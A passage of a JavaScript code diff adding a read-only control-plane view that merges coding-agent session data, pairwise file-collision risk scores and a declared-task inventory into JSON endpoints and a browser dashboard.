if (!data || data.schemaVersion !== 'ecc.control-plane.view.v1' ||
|
||||
!['tasks', 'lanes', 'pairs', 'events'].every(function (key) { return Array.isArray(data[key]); }) ||
|
||||
!data.projection || !Array.isArray(data.projection.agents) || !data.thresholds ||
|
||||
!Number.isFinite(data.thresholds.ta) || !Number.isFinite(data.thresholds.ra)) {
|
||||
throw new Error('Invalid control-plane view');
|
||||
}
|
||||
view = Object.assign({}, data);
|
||||
renderEvents(); renderLanes(); draw();
|
||||
var c = view.counts || {};
|
||||
document.getElementById('status').textContent =
|
||||
(c.tasks || 0) + ' tasks in ' + (c.lanes || 0) + ' lanes | ' + (c.agents || 0) + ' with edits | ' +
|
||||
(c.advisories || 0) + ' advisories (' + (c.resolutions || 0) + ' steering)' +
|
||||
(view.inventory && view.inventory.status !== 'ok' ? ' | inventory ' + view.inventory.status : '');
|
||||
}
|
||||
|
||||
function poll() {
|
||||
fetch('/api/control-plane').then(function (r) {
|
||||
if (!r.ok) throw new Error('Control-plane request failed');
|
||||
return r.json();
|
||||
}).then(apply).catch(function () {
|
||||
document.getElementById('status').textContent = 'offline';
|
||||
});
|
||||
}
|
||||
|
||||
resize();
|
||||
poll();
|
||||
setInterval(poll, 5000);
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>`;
|
||||
}
|
||||
|
||||
module.exports = { renderControlPlaneViewHtml };
|
||||
@@ -0,0 +1,358 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* ECC control-plane live view.
|
||||
*
|
||||
* One JSON document, `ecc.control-plane.view.v1`, that joins three things the
|
||||
* repo already computes separately:
|
||||
*
|
||||
* 1. the control-pane session snapshot (state.js): who is running where,
|
||||
* 2. the agent-proximity airspace scan (agent-proximity + proximity.js):
|
||||
* pairwise collision risk over the shipped channels x_tree, x_overlap,
|
||||
* x_dep, with the 2D PCA projection from agent-proximity/projection.js,
|
||||
* 3. the coordination inventory (coordination-inventory.js, PR #3028):
|
||||
* declared tasks and sessions, heartbeat freshness, lease conflicts.
|
||||
*
|
||||
* The output is shaped as tasks, lanes and events so another control plane
|
||||
* (the Ito ops board) can consume it without knowing ECC internals:
|
||||
*
|
||||
* task = one agent session (id, lane, harness, state, worktree, working
|
||||
* set size, projected point, inventory observation)
|
||||
* lane = a grouping of tasks (task group, project, or harness)
|
||||
* event = something an operator or a hook may act on. Today: a proximity
|
||||
* advisory at a static threshold, or a lease conflict.
|
||||
*
|
||||
* Everything here is read-only and advisory. The view does not acquire
|
||||
* leases, does not steer agents and does not claim a conflict-reduction
|
||||
* number. See docs/control-plane/VIEW-CONTRACT.md.
|
||||
*/
|
||||
|
||||
const { DEFAULTS, rightOfWay } = require('../agent-proximity/distance');
|
||||
const { projectPairs, createProjectionWindow } = require('../agent-proximity/projection');
|
||||
|
||||
const VIEW_SCHEMA_VERSION = 'ecc.control-plane.view.v1';
|
||||
const EVENT_KINDS = {
|
||||
advisory: 'proximity.advisory',
|
||||
leaseConflict: 'inventory.lease-conflict'
|
||||
};
|
||||
|
||||
const IDENTIFIER = /^[a-zA-Z0-9][a-zA-Z0-9_.:-]*$/;
|
||||
const OPEN_STATES = new Set(['running', 'pending', 'idle']);
|
||||
const CLOSED_STATES = new Set(['completed', 'failed', 'stopped']);
|
||||
|
||||
function isoOrNull(value) {
|
||||
if (!value) return null;
|
||||
const ms = Date.parse(value);
|
||||
return Number.isFinite(ms) ? new Date(ms).toISOString() : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Map a session id to an identifier the inventory accepts. Replaces anything
|
||||
* outside the allowed alphabet, strips a leading non-alphanumeric run, and
|
||||
* falls back to a positional id. Callers get the mapping back so a consumer
|
||||
* can join inventory rows to tasks.
|
||||
*/
|
||||
function inventoryIdFor(id, index, taken) {
|
||||
let candidate = String(id || '')
|
||||
.replace(/[^a-zA-Z0-9_.:-]/g, '-')
|
||||
.replace(/^[^a-zA-Z0-9]+/, '')
|
||||
.slice(0, 200);
|
||||
if (!candidate || ['__proto__', 'constructor', 'prototype'].includes(candidate)) candidate = `task-${index + 1}`;
|
||||
let unique = candidate;
|
||||
let n = 2;
|
||||
while (taken.has(unique)) {
|
||||
unique = `${candidate.slice(0, 190)}-${n}`;
|
||||
n += 1;
|
||||
}
|
||||
taken.add(unique);
|
||||
return IDENTIFIER.test(unique) ? unique : `task-${index + 1}`;
|
||||
}
|
||||
|
||||
function laneFor(session) {
|
||||
if (session.taskGroup) return { id: `group:${session.taskGroup}`, label: session.taskGroup, kind: 'task-group' };
|
||||
if (session.project) return { id: `project:${session.project}`, label: session.project, kind: 'project' };
|
||||
const harness = session.harness || 'unknown';
|
||||
return { id: `harness:${harness}`, label: harness, kind: 'harness' };
|
||||
}
|
||||
|
||||
function sessionDeclarationStatus(state) {
|
||||
if (OPEN_STATES.has(state)) return 'open';
|
||||
if (CLOSED_STATES.has(state)) return 'closed';
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the #3028 manifest from live sessions plus the working sets the
|
||||
* proximity scan already extracted. Declared-only by construction: the
|
||||
* inventory library labels every row `declared-only` and this view keeps
|
||||
* that label.
|
||||
*/
|
||||
function buildInventoryManifest(sessions, agentsById, options = {}) {
|
||||
const taken = new Set();
|
||||
const idMap = new Map();
|
||||
const tasks = [];
|
||||
const declaredSessions = [];
|
||||
const limited = (sessions || []).slice(0, 64);
|
||||
limited.forEach((session, index) => {
|
||||
const invId = inventoryIdFor(session.id, index, taken);
|
||||
idMap.set(session.id, invId);
|
||||
const agent = agentsById.get(session.id);
|
||||
const paths = (agent ? agent.files : []).filter(p => typeof p === 'string' && !p.startsWith('/') && !/^[A-Za-z]:/.test(p) && !p.split('/').some(x => !x || x === '.' || x === '..')).slice(0, 128);
|
||||
tasks.push({
|
||||
id: invId,
|
||||
repoId: null,
|
||||
paths,
|
||||
pid: Number.isSafeInteger(session.pid) && session.pid > 0 ? session.pid : null,
|
||||
status: String(session.state || 'unknown').slice(0, 200) || 'unknown',
|
||||
heartbeatAt: isoOrNull(session.lastHeartbeatAt),
|
||||
statusFileModifiedAt: isoOrNull(session.updatedAt)
|
||||
});
|
||||
declaredSessions.push({
|
||||
id: invId,
|
||||
taskId: invId,
|
||||
goalId: null,
|
||||
status: sessionDeclarationStatus(session.state),
|
||||
updatedAt: isoOrNull(session.lastHeartbeatAt || session.updatedAt)
|
||||
});
|
||||
});
|
||||
const extra = options.manifest && typeof options.manifest === 'object' ? options.manifest : {};
|
||||
return {
|
||||
manifest: {
|
||||
version: 1,
|
||||
repositories: Array.isArray(extra.repositories) ? extra.repositories : [],
|
||||
tasks: [...tasks, ...(Array.isArray(extra.tasks) ? extra.tasks : [])],
|
||||
sessions: [...declaredSessions, ...(Array.isArray(extra.sessions) ? extra.sessions : [])],
|
||||
goals: Array.isArray(extra.goals) ? extra.goals : [],
|
||||
leases: Array.isArray(extra.leases) ? extra.leases : []
|
||||
},
|
||||
idMap,
|
||||
truncated: (sessions || []).length > limited.length
|
||||
};
|
||||
}
|
||||
|
||||
function runInventory(sessions, agentsById, options = {}) {
|
||||
const built = buildInventoryManifest(sessions, agentsById, options);
|
||||
try {
|
||||
const { buildInventory } = options.inventoryModule || require('../coordination-inventory');
|
||||
const report = buildInventory(built.manifest, { now: options.now, resources: options.resources });
|
||||
return { status: 'ok', idMap: built.idMap, truncated: built.truncated, report };
|
||||
} catch (error) {
|
||||
return { status: 'unavailable', idMap: built.idMap, truncated: built.truncated, reason: error.message, report: null };
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Agent shape the right-of-way rule needs, rebuilt from the proximity
|
||||
* snapshot's agent summaries (progress = recency-weighted file count).
|
||||
*/
|
||||
function priorityAgent(summary, agentId) {
|
||||
if (!summary) return { agentId, files: [], startedAt: null };
|
||||
const progress = Number.isFinite(summary.progress) ? summary.progress : summary.fileCount || 0;
|
||||
return { agentId, startedAt: summary.startedAt || null, files: [{ path: '', weight: progress }] };
|
||||
}
|
||||
|
||||
/**
|
||||
* Static-threshold advisory events, derived from every pair link against the
|
||||
* view's own thresholds so an override changes the events, not only labels.
|
||||
* The risk itself comes from the scan (noisy-OR, unchanged).
|
||||
*/
|
||||
function advisoryEvents(links, agentsById, thresholds, at) {
|
||||
const events = [];
|
||||
for (const link of links || []) {
|
||||
if (!link || !Number.isFinite(link.risk) || link.risk < thresholds.ta) continue;
|
||||
const resolution = link.risk >= thresholds.ra;
|
||||
const level = resolution ? 'resolution' : 'traffic';
|
||||
const a = agentsById.get(link.a);
|
||||
const b = agentsById.get(link.b);
|
||||
const aLabel = (a && a.label) || link.a;
|
||||
const bLabel = (b && b.label) || link.b;
|
||||
const way = resolution ? rightOfWay(priorityAgent(a, link.a), priorityAgent(b, link.b)) : { steer: null, hold: null };
|
||||
const channels = link.channels || {};
|
||||
events.push({
|
||||
id: `${EVENT_KINDS.advisory}:${link.a}|${link.b}:${level}`,
|
||||
kind: EVENT_KINDS.advisory,
|
||||
level,
|
||||
severity: resolution ? 'critical' : 'warning',
|
||||
at,
|
||||
subject: { a: link.a, b: link.b, aLabel, bLabel },
|
||||
risk: link.risk,
|
||||
distance: Number.isFinite(link.distance) ? link.distance : 1 - link.risk,
|
||||
channels: {
|
||||
x_tree: Number.isFinite(channels.tree) ? channels.tree : null,
|
||||
x_overlap: Number.isFinite(channels.overlap) ? channels.overlap : null,
|
||||
x_dep: Number.isFinite(channels.dependency) ? channels.dependency : null
|
||||
},
|
||||
threshold: { ta: thresholds.ta, ra: thresholds.ra, crossed: resolution ? 'ra' : 'ta', source: 'static' },
|
||||
action: resolution ? { type: 'steer', steer: way.steer, hold: way.hold } : { type: 'transmit', steer: null, hold: null },
|
||||
message: resolution
|
||||
? `Resolution advisory: ${way.steer} steers, ${way.hold} holds (risk ${Math.round(link.risk * 100)}%, static threshold ${thresholds.ra}).`
|
||||
: `Traffic advisory: ${link.a} and ${link.b} transmit intent (risk ${Math.round(link.risk * 100)}%, static threshold ${thresholds.ta}).`
|
||||
});
|
||||
}
|
||||
events.sort((x, y) => y.risk - x.risk);
|
||||
return events;
|
||||
}
|
||||
|
||||
function leaseConflictEvents(report, at) {
|
||||
if (!report || !Array.isArray(report.leaseConflicts)) return [];
|
||||
return report.leaseConflicts.map(conflict => ({
|
||||
id: `${EVENT_KINDS.leaseConflict}:${conflict.resource}`,
|
||||
kind: EVENT_KINDS.leaseConflict,
|
||||
level: 'conflict',
|
||||
severity: 'warning',
|
||||
at,
|
||||
subject: { resource: conflict.resource, owners: conflict.owners },
|
||||
action: { type: 'review', steer: null, hold: null },
|
||||
message: `Declared lease conflict on ${conflict.resource}: ${conflict.owners.join(', ')}. Declared-only, not a lock.`
|
||||
}));
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the live view from a control-pane snapshot that already carries a
|
||||
* `proximity` field (buildControlPaneSnapshot with includeProximity: true).
|
||||
*
|
||||
* @param {object} snapshot control-pane snapshot
|
||||
* @param {object} [options] { window, thresholds, now, manifest, resources, channelWeights }
|
||||
*/
|
||||
function buildControlPlaneView(snapshot, options = {}) {
|
||||
const at = options.now || new Date().toISOString();
|
||||
const thresholds = { ...DEFAULTS.thresholds, ...(options.thresholds || {}) };
|
||||
const sessions = Array.isArray(snapshot && snapshot.sessions) ? snapshot.sessions : [];
|
||||
const prox = (snapshot && snapshot.proximity) || {};
|
||||
const agents = Array.isArray(prox.agents) ? prox.agents : [];
|
||||
const agentsById = new Map(agents.map(a => [a.agentId, a]));
|
||||
|
||||
const projection = projectPairs(prox.links || [], {
|
||||
window: options.window,
|
||||
channelWeights: options.channelWeights,
|
||||
sample: options.sample,
|
||||
minWindowForZscore: options.minWindowForZscore
|
||||
});
|
||||
const pointByAgent = new Map(projection.agents.map(a => [a.agentId, a]));
|
||||
|
||||
const inventory = runInventory(sessions, agentsById, {
|
||||
now: at,
|
||||
manifest: options.manifest,
|
||||
resources: options.resources,
|
||||
inventoryModule: options.inventoryModule
|
||||
});
|
||||
const inventoryTaskById = new Map();
|
||||
if (inventory.report) for (const task of inventory.report.tasks || []) inventoryTaskById.set(task.id, task);
|
||||
|
||||
const lanes = new Map();
|
||||
const tasks = sessions.map(session => {
|
||||
const lane = laneFor(session);
|
||||
if (!lanes.has(lane.id)) lanes.set(lane.id, { ...lane, taskIds: [] });
|
||||
lanes.get(lane.id).taskIds.push(session.id);
|
||||
const agent = agentsById.get(session.id);
|
||||
const projected = pointByAgent.get(session.id);
|
||||
const invId = inventory.idMap.get(session.id) || null;
|
||||
const invTask = invId ? inventoryTaskById.get(invId) : null;
|
||||
return {
|
||||
id: session.id,
|
||||
lane: lane.id,
|
||||
label: session.task || session.id,
|
||||
harness: session.harness || 'unknown',
|
||||
agentType: session.agentType || '',
|
||||
state: session.state || 'unknown',
|
||||
pid: session.pid === undefined ? null : session.pid,
|
||||
worktree: session.worktree || null,
|
||||
heartbeatAt: isoOrNull(session.lastHeartbeatAt),
|
||||
updatedAt: isoOrNull(session.updatedAt),
|
||||
workingSet: { fileCount: agent ? agent.fileCount : 0, files: agent ? agent.files : [] },
|
||||
projection: projected ? { point: projected.point, pairs: projected.pairs, maxRisk: projected.maxRisk } : { point: null, pairs: 0, maxRisk: 0 },
|
||||
inventory: invTask ? { id: invId, heartbeat: invTask.heartbeat, process: invTask.process, authority: 'declared-only' } : { id: invId, heartbeat: null, process: null, authority: 'declared-only' }
|
||||
};
|
||||
});
|
||||
|
||||
const events = [...advisoryEvents(prox.links, agentsById, thresholds, at), ...leaseConflictEvents(inventory.report, at)];
|
||||
|
||||
const { pairs, agents: projectedAgents, ...projectionMeta } = projection;
|
||||
return {
|
||||
schemaVersion: VIEW_SCHEMA_VERSION,
|
||||
generatedAt: at,
|
||||
source: {
|
||||
snapshotSchema: snapshot ? snapshot.schemaVersion || null : null,
|
||||
repoRoot: snapshot ? snapshot.repoRoot || null : null,
|
||||
dbPath: snapshot ? snapshot.dbPath || null : null
|
||||
},
|
||||
thresholds: { ta: thresholds.ta, ra: thresholds.ra, source: 'static' },
|
||||
lanes: [...lanes.values()],
|
||||
tasks,
|
||||
pairs,
|
||||
events,
|
||||
projection: { ...projectionMeta, agents: projectedAgents },
|
||||
inventory: inventory.report
|
||||
? {
|
||||
status: 'ok',
|
||||
truncated: inventory.truncated,
|
||||
observedAt: inventory.report.observedAt,
|
||||
mode: inventory.report.mode,
|
||||
activity: inventory.report.activity,
|
||||
leaseConflicts: inventory.report.leaseConflicts,
|
||||
warnings: inventory.report.warnings,
|
||||
coverage: inventory.report.coverage,
|
||||
limits: inventory.report.limits
|
||||
}
|
||||
: { status: inventory.status, truncated: inventory.truncated, reason: inventory.reason || null },
|
||||
counts: {
|
||||
lanes: lanes.size,
|
||||
tasks: tasks.length,
|
||||
agents: agents.length,
|
||||
pairs: pairs.length,
|
||||
events: events.length,
|
||||
advisories: events.filter(e => e.kind === EVENT_KINDS.advisory).length,
|
||||
resolutions: events.filter(e => e.kind === EVENT_KINDS.advisory && e.level === 'resolution').length
|
||||
},
|
||||
limits: [
|
||||
'Advisories use static thresholds; no learned threshold and no conflict-reduction claim.',
|
||||
'Projection is a display over the shipped channels x_tree, x_overlap, x_dep; it does not change risk.',
|
||||
'Inventory rows are declared-only observations; leases are not locks.',
|
||||
'The view does not steer, pause or lock any agent.'
|
||||
]
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Stateful view builder for a long-lived server: keeps one projection window
|
||||
* so z-scores roll over ticks. `buildSnapshot()` is injected (it is the
|
||||
* control-pane snapshot with includeProximity: true).
|
||||
*/
|
||||
function createControlPlaneViewSource(deps = {}) {
|
||||
const window = deps.window || createProjectionWindow(deps.projection || {});
|
||||
const clock = deps.clock || Date.now;
|
||||
const interval = deps.sampleIntervalMs === undefined ? 5000 : deps.sampleIntervalMs;
|
||||
if (!Number.isFinite(interval) || interval <= 0) throw new Error('sampleIntervalMs must be positive and finite');
|
||||
let cached = null;
|
||||
let pending = null;
|
||||
let expiresAt = 0;
|
||||
async function refresh() {
|
||||
const snapshot = await deps.buildSnapshot();
|
||||
const view = buildControlPlaneView(snapshot, { ...deps.viewOptions, window });
|
||||
cached = { snapshot, view };
|
||||
expiresAt = clock() + interval;
|
||||
return cached;
|
||||
}
|
||||
return {
|
||||
window,
|
||||
async build(extra = {}) {
|
||||
if (!cached || clock() >= expiresAt) {
|
||||
if (!pending) pending = refresh().finally(() => { pending = null; });
|
||||
await pending;
|
||||
}
|
||||
if (Object.keys(extra).length === 0) return cached.view;
|
||||
return buildControlPlaneView(cached.snapshot, {
|
||||
...deps.viewOptions, ...extra, now: extra.now || cached.view.generatedAt, window, sample: false
|
||||
});
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
VIEW_SCHEMA_VERSION,
|
||||
EVENT_KINDS,
|
||||
buildControlPlaneView,
|
||||
createControlPlaneViewSource,
|
||||
buildInventoryManifest,
|
||||
_internal: { inventoryIdFor, laneFor, sessionDeclarationStatus, advisoryEvents, leaseConflictEvents }
|
||||
};
|
||||
@@ -49,6 +49,7 @@ function renderProximityVizHtml() {
|
||||
<header>
|
||||
<h1>ECC - Agent Airspace</h1>
|
||||
<span class="sub" id="status">connecting...</span>
|
||||
<a class="sub" href="/control-plane" style="margin-left:auto;text-decoration:none">2D control plane</a>
|
||||
</header>
|
||||
<div id="wrap">
|
||||
<div id="stage">
|
||||
|
||||
@@ -122,10 +122,21 @@ function buildProximitySnapshot(sessions, options = {}) {
|
||||
const agents = sessionsToAgents(sessions, options);
|
||||
|
||||
// Need at least two participating agents for a collision to be possible.
|
||||
const agentSummaries = agents.map(a => ({
|
||||
agentId: a.agentId,
|
||||
label: a.label,
|
||||
startedAt: a.startedAt,
|
||||
fileCount: a.files.length,
|
||||
progress: a.files.reduce((s, f) => s + (f.weight ?? 1), 0),
|
||||
files: a.files.map(f => f.path)
|
||||
}));
|
||||
|
||||
if (agents.length < 2) {
|
||||
return {
|
||||
enabled: true,
|
||||
advisories: [],
|
||||
triggers: [],
|
||||
agents: agentSummaries,
|
||||
positions: agents.map(a => ({ agentId: a.agentId, position: [0, 0, 0], fileCount: a.files.length })),
|
||||
links: [],
|
||||
counts: { agents: agents.length, advisories: 0, resolutions: 0 }
|
||||
@@ -151,6 +162,7 @@ function buildProximitySnapshot(sessions, options = {}) {
|
||||
enabled: true,
|
||||
advisories,
|
||||
triggers: buildProximityTriggers(scan.advisories),
|
||||
agents: agentSummaries,
|
||||
positions: scan.positions,
|
||||
links: scan.links,
|
||||
counts: scan.counts
|
||||
|
||||
@@ -9,6 +9,8 @@ const { buildControlPaneAction } = require('./actions');
|
||||
const { buildControlPaneSnapshot, resolveControlPaneConfig } = require('./state');
|
||||
const { renderControlPaneHtml } = require('./ui');
|
||||
const { renderProximityVizHtml } = require('./proximity-viz');
|
||||
const { renderControlPlaneViewHtml } = require('./control-plane-view-ui');
|
||||
const { createControlPlaneViewSource } = require('./control-plane-view');
|
||||
const { claimWorkItem, moveWorkItem } = require('./work-item-mutations');
|
||||
|
||||
// Run a single write against the local work-item store, then close it. Kept
|
||||
@@ -185,6 +187,24 @@ function createControlPaneServer(options = {}) {
|
||||
const baseQuery = options.query || '';
|
||||
const allowedHostnames = buildAllowedHostnames(host);
|
||||
|
||||
// Live control-plane view: sessions + proximity scan + coordination
|
||||
// inventory, joined as tasks/lanes/events with a 2D projection. The view
|
||||
// source owns the rolling projection window so z-scores span ticks.
|
||||
const viewSource = createControlPlaneViewSource({
|
||||
projection: options.projection || {},
|
||||
viewOptions: options.viewOptions || {},
|
||||
buildSnapshot: () =>
|
||||
buildControlPaneSnapshot({
|
||||
repoRoot,
|
||||
dbPath: resolvedConfig.dbPath,
|
||||
stateDbPath: resolvedConfig.stateDbPath,
|
||||
config: resolvedConfig,
|
||||
allowActions,
|
||||
includeProximity: true,
|
||||
proximityOptions: options.proximityOptions
|
||||
})
|
||||
});
|
||||
|
||||
const server = http.createServer(async (req, res) => {
|
||||
try {
|
||||
if (!isAllowedHostHeader(req.headers.host, allowedHostnames)) {
|
||||
@@ -257,6 +277,29 @@ function createControlPaneServer(options = {}) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Control-plane live view: 2D projection + advisory events + inventory.
|
||||
if (req.method === 'GET' && requestUrl.pathname === '/control-plane') {
|
||||
sendText(res, 200, renderControlPlaneViewHtml(), 'text/html; charset=utf-8');
|
||||
return;
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && requestUrl.pathname === '/api/control-plane') {
|
||||
sendJson(res, 200, await viewSource.build());
|
||||
return;
|
||||
}
|
||||
|
||||
if (req.method === 'GET' && requestUrl.pathname === '/api/control-plane/events') {
|
||||
const view = await viewSource.build();
|
||||
sendJson(res, 200, {
|
||||
schemaVersion: view.schemaVersion,
|
||||
generatedAt: view.generatedAt,
|
||||
thresholds: view.thresholds,
|
||||
events: view.events,
|
||||
counts: { events: view.counts.events, advisories: view.counts.advisories, resolutions: view.counts.resolutions }
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const actionMatch = requestUrl.pathname.match(/^\/api\/actions\/([^/]+)$/);
|
||||
if (req.method === 'POST' && actionMatch) {
|
||||
if (!allowActions) {
|
||||
|
||||
@@ -0,0 +1,261 @@
|
||||
'use strict';
|
||||
|
||||
const fs = require('node:fs');
|
||||
const path = require('node:path');
|
||||
const os = require('node:os');
|
||||
const { execFileSync } = require('node:child_process');
|
||||
const { collisionRisk } = require('./agent-proximity/distance');
|
||||
const { buildDependencyGraphFromSources } = require('./agent-proximity/graph');
|
||||
const { parseWorkerStatus } = require('./orchestration-session');
|
||||
|
||||
const MAX_BYTES = 1024 * 1024;
|
||||
const STALE_MS = 5 * 60 * 1000;
|
||||
function invalid() { throw new Error('Invalid coordination input.'); }
|
||||
function record(value) {
|
||||
if (!value || typeof value !== 'object' || Array.isArray(value)) invalid();
|
||||
return value;
|
||||
}
|
||||
function list(value, max = 64) {
|
||||
if (!Array.isArray(value) || value.length > max) invalid();
|
||||
return value;
|
||||
}
|
||||
function text(value, max = 200) {
|
||||
if (typeof value !== 'string' || !value.length || value.length > max || [...value].some(c => c.charCodeAt(0) < 32 || c.charCodeAt(0) === 127)) invalid();
|
||||
return value;
|
||||
}
|
||||
function missing(value) { return value === null || value === undefined; }
|
||||
function identifier(value) {
|
||||
text(value);
|
||||
if (!/^[a-zA-Z0-9][a-zA-Z0-9_.:-]*$/.test(value) || ['__proto__', 'constructor', 'prototype'].includes(value)) invalid();
|
||||
return value;
|
||||
}
|
||||
function timestamp(value) {
|
||||
text(value);
|
||||
if (!/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{1,3})?Z$/.test(value) || !Number.isFinite(Date.parse(value))) invalid();
|
||||
const canonical = value.replace(/(?:\.(\d{1,3}))?Z$/, (_, fraction) => `.${(fraction || '').padEnd(3, '0')}Z`);
|
||||
if (new Date(value).toISOString() !== canonical) invalid();
|
||||
return value;
|
||||
}
|
||||
function relativePath(value) {
|
||||
const p = text(value, 1024).replace(/\\/g, '/').replace(/^\.\//, '');
|
||||
const parts = p.split('/');
|
||||
if (p.startsWith('/') || /^[A-Za-z]:/.test(p) || parts.some(x => !x || ['.', '..', '__proto__', 'constructor', 'prototype'].includes(x))) invalid();
|
||||
return p;
|
||||
}
|
||||
function unique(items, key) {
|
||||
if (new Set(items.map(x => x[key])).size !== items.length) invalid();
|
||||
return items;
|
||||
}
|
||||
function normalizeTask(value) {
|
||||
const t = record(value);
|
||||
if (!missing(t.pid) && (!Number.isSafeInteger(t.pid) || t.pid <= 0)) invalid();
|
||||
const id = identifier(t.id);
|
||||
const parentId = t.parentId ? identifier(t.parentId) : null;
|
||||
if (parentId === id) invalid();
|
||||
return {
|
||||
id, parentId, repoId: missing(t.repoId) ? null : identifier(t.repoId),
|
||||
paths: [...new Set(list(t.paths || [], 128).map(relativePath))].sort(),
|
||||
pid: t.pid ?? null, status: missing(t.status) ? 'unknown' : text(t.status),
|
||||
heartbeatAt: missing(t.heartbeatAt) ? null : timestamp(t.heartbeatAt),
|
||||
statusFileModifiedAt: missing(t.statusFileModifiedAt) ? null : timestamp(t.statusFileModifiedAt)
|
||||
};
|
||||
}
|
||||
function declarationStatus(value, allowed) {
|
||||
if (value === undefined) return 'unknown';
|
||||
if (!allowed.includes(value)) invalid();
|
||||
return value;
|
||||
}
|
||||
function normalizeDeclarations(manifest, tasks) {
|
||||
const taskIds = new Set(tasks.map(t => t.id));
|
||||
const link = (value, ids) => {
|
||||
if (missing(value)) return null;
|
||||
const id = identifier(value);
|
||||
if (!ids.has(id)) invalid();
|
||||
return id;
|
||||
};
|
||||
const common = value => ({ id: identifier(value.id), taskId: link(value.taskId, taskIds),
|
||||
updatedAt: missing(value.updatedAt) ? null : timestamp(value.updatedAt) });
|
||||
const goals = unique(list(manifest.goals === undefined ? [] : manifest.goals).map(value => {
|
||||
const g = record(value);
|
||||
return { ...common(g), kind: declarationStatus(g.kind, ['native', 'unknown']),
|
||||
status: declarationStatus(g.status, ['active', 'complete', 'blocked', 'unknown']) };
|
||||
}), 'id');
|
||||
const goalIds = new Set(goals.map(g => g.id));
|
||||
const sessions = unique(list(manifest.sessions === undefined ? [] : manifest.sessions).map(value => {
|
||||
const s = record(value);
|
||||
return { ...common(s), goalId: link(s.goalId, goalIds),
|
||||
status: declarationStatus(s.status, ['open', 'closed', 'unknown']) };
|
||||
}), 'id');
|
||||
return { goals, sessions, declarationCoverage: {
|
||||
goals: manifest.goals === undefined ? 'missing' : 'declared-only',
|
||||
sessions: manifest.sessions === undefined ? 'missing' : 'declared-only'
|
||||
} };
|
||||
}
|
||||
function normalizeManifest(value) {
|
||||
const m = record(value);
|
||||
if (m.version !== 1 || Buffer.byteLength(JSON.stringify(m)) > MAX_BYTES) invalid();
|
||||
let sourceBytes = 0;
|
||||
const repositories = unique(list(m.repositories ?? []).map(value => {
|
||||
const r = record(value); const sourceEntries = Object.entries(record(r.sources ?? {}));
|
||||
if (sourceEntries.length > 128) invalid();
|
||||
const entries = sourceEntries.map(([p, source]) => {
|
||||
// Existing regex extractor is for snippets, not arbitrary full source files.
|
||||
if (typeof source !== 'string' || Buffer.byteLength(source) > 1024) invalid();
|
||||
sourceBytes += Buffer.byteLength(source);
|
||||
if (sourceBytes > 32768) invalid();
|
||||
return [relativePath(p), source];
|
||||
});
|
||||
if (new Set(entries.map(([p]) => p)).size !== entries.length) invalid();
|
||||
return { id: identifier(r.id), sources: Object.fromEntries(entries) };
|
||||
}), 'id');
|
||||
const tasks = unique(list(m.tasks).map(normalizeTask), 'id');
|
||||
const ids = new Set(repositories.map(r => r.id));
|
||||
if (tasks.some(t => t.repoId !== null && !ids.has(t.repoId))) invalid();
|
||||
const leases = list(m.leases ?? [], 128).map(value => {
|
||||
const l = record(value);
|
||||
return { resource: identifier(l.resource), owner: identifier(l.owner), expiresAt: timestamp(l.expiresAt) };
|
||||
});
|
||||
return { version: 1, repositories, tasks, leases, ...normalizeDeclarations(m, tasks) };
|
||||
}
|
||||
|
||||
function heartbeat(value, nowMs) {
|
||||
if (!value) return { state: 'unknown', ageMs: null };
|
||||
const ageMs = nowMs - Date.parse(value);
|
||||
return { state: ageMs < 0 ? 'clock-skew' : ageMs > STALE_MS ? 'stale' : 'fresh', ageMs };
|
||||
}
|
||||
function declarationInventory(manifest, nowMs) {
|
||||
const observe = item => ({ ...item, authority: 'declared-only', freshness: heartbeat(item.updatedAt, nowMs) });
|
||||
const goals = manifest.goals.map(observe);
|
||||
const sessions = manifest.sessions.map(observe);
|
||||
const counts = (items, statuses) => Object.fromEntries(statuses.map(status =>
|
||||
[status, items.filter(item => item.status === status).length]));
|
||||
const statuses = ['active', 'complete', 'blocked', 'unknown'];
|
||||
const native = goals.filter(g => g.kind === 'native');
|
||||
return { goals, sessions, activity: {
|
||||
declaredGoalsByStatus: counts(goals, statuses),
|
||||
declaredNativeGoalsByStatus: counts(native, statuses),
|
||||
declaredSessionsByStatus: counts(sessions, ['open', 'closed', 'unknown']),
|
||||
openSessionsWithoutGoalDeclaration: sessions.filter(s => s.status === 'open' && s.goalId === null).length,
|
||||
freshActiveNativeGoalDeclarations: native.filter(g => g.status === 'active' && g.freshness.state === 'fresh').length
|
||||
} };
|
||||
}
|
||||
function proximityWarnings(manifest) {
|
||||
const warnings = [];
|
||||
let workBudget = 200000;
|
||||
for (const repo of manifest.repositories) {
|
||||
const tasks = manifest.tasks.filter(t => t.repoId === repo.id && t.paths.length > 0).sort((a,b) => a.id < b.id ? -1 : 1);
|
||||
if (tasks.length < 2) continue;
|
||||
const parsed = buildDependencyGraphFromSources(repo.sources);
|
||||
const graph = { ...parsed, adjacency: Object.assign(Object.create(null), parsed.adjacency) };
|
||||
const graphCost = 1 + graph.files.length + Object.values(graph.adjacency).reduce((sum, edges) => sum + edges.length, 0);
|
||||
const pathPairs = tasks.reduce((sum, task, i) => sum + task.paths.length * tasks.slice(i + 1).reduce((n, other) => n + other.paths.length, 0), 0);
|
||||
workBudget -= pathPairs * graphCost;
|
||||
if (workBudget < 0) throw new Error('Inventory comparison budget exceeded; split the manifest.');
|
||||
for (let i = 0; i < tasks.length; i += 1) {
|
||||
for (let j = i + 1; j < tasks.length; j += 1) {
|
||||
const a = tasks[i]; const b = tasks[j];
|
||||
const score = collisionRisk({ files: a.paths.map(p => ({ path: p })) }, { files: b.paths.map(p => ({ path: p })) }, graph);
|
||||
if (score.risk < 0.35) continue;
|
||||
const reasons = [];
|
||||
if (score.channels.overlap) reasons.push('path_overlap');
|
||||
if (score.channels.dependency) reasons.push('import_dependency');
|
||||
